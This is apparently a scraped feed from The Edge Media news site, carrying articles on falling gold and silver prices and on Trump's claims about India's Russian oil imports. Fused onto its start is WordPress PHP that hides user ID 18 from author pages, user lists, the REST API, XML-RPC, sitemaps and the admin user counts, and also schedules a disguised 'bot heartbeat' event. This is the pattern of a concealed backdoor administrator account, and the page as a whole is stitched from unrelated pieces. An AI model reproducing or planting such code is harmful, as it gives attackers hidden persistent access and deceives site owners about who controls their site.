add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Gold Prices Fall Sharply as Global Tensions Ease appeared first on The Edge Media.
]]>
Factors Behind the Price Drop
The fall in gold prices has been linked to easing geopolitical concerns between the United States and China, which weakened the metal’s safe-haven appeal. Analysts noted that gold faced continued selling pressure as investors moved away from safe assets. Saumil Gandhi, Senior Analyst at HDFC Securities, explained that the decline was driven by technical selling after gold failed to stay above the $4,000 level, marking a three-week low.
Silver Prices Also Fall Sharply
Silver followed a similar trend, recording a steep drop of Rs 6,250 to Rs 1,45,000 per kilogram, compared to the previous close of Rs 1,51,250 per kilogram.
Global Market Overview
In international markets, spot gold continued to trade lower, slipping by $94.36 or 2.37 percent to $3,887.03 per ounce. In the prior session, it had already dropped below the key $4,000 mark, declining by $132.02 or 3.21 percent.
The post Gold Prices Fall Sharply as Global Tensions Ease appeared first on The Edge Media.
]]>The post Trump Claims India Will Cut Russian Oil Purchases, Stresses China’s Reduced Imports appeared first on The Edge Media.
]]>
In response to a question about discussing Russian oil imports with Chinese President Xi Jinping, Trump indicated that he may bring up the topic during their upcoming meeting. “I may discuss it, but you know China, you probably saw it today. China’s cutting back very substantially on the purchase of Russian oil,” Trump added.
Trump is scheduled to meet Xi on the sidelines of the Asia-Pacific Economic Cooperation (APEC) summit in South Korea. For several days, the Trump administration has claimed that India has promised to reduce its oil imports from Russia significantly.
However, India has maintained that its energy policy is shaped by its national interests, focusing on securing affordable and stable supplies for its consumers. The US government, meanwhile, has alleged that India’s continued purchase of Russian crude oil is indirectly funding Russia’s war in Ukraine.
The strained relations between New Delhi and Washington have been further complicated by trade tensions. The US imposed a hefty 50% tariff on Indian goods, including a 25% additional duty on India’s purchase of Russian crude oil, which India has called “unfair, unjustified, and unreasonable.”
In another comment, Trump addressed his earlier remarks about resolving conflicts between India and Pakistan, asserting that he believed peace talks between India and Pakistan would be difficult but that the Russia-Ukraine conflict would be easier to resolve. He remarked, “If you look at India and Pakistan, I thought any one of the deals I’ve already done would have been more difficult than Russia and Ukraine, but it didn’t work out that way.”
Since May 10, Trump has repeatedly claimed credit for helping broker a ceasefire between India and Pakistan, following intense military actions between the two countries. However, India maintains that the ceasefire agreement was the result of direct talks between the Directors General of Military Operations (DGMOs) of the Indian and Pakistani armed forces, not external mediation.
The tensions between India and Pakistan escalated after the April 22 Pahalgam attack, which killed 26 civilians, prompting India to launch Operation Sindoor on May 7 against terrorist infrastructure in Pakistan and Pakistan-occupied Kashmir. After four days of intense cross-border strikes, India and Pakistan agreed to cease hostilities on May 10.
Despite the ongoing diplomatic tensions, Trump’s comments continue to stir controversy as both India and the US navigate their complex relationship amid global energy and geopolitical challenges.
The post Trump Claims India Will Cut Russian Oil Purchases, Stresses China’s Reduced Imports appeared first on The Edge Media.
]]>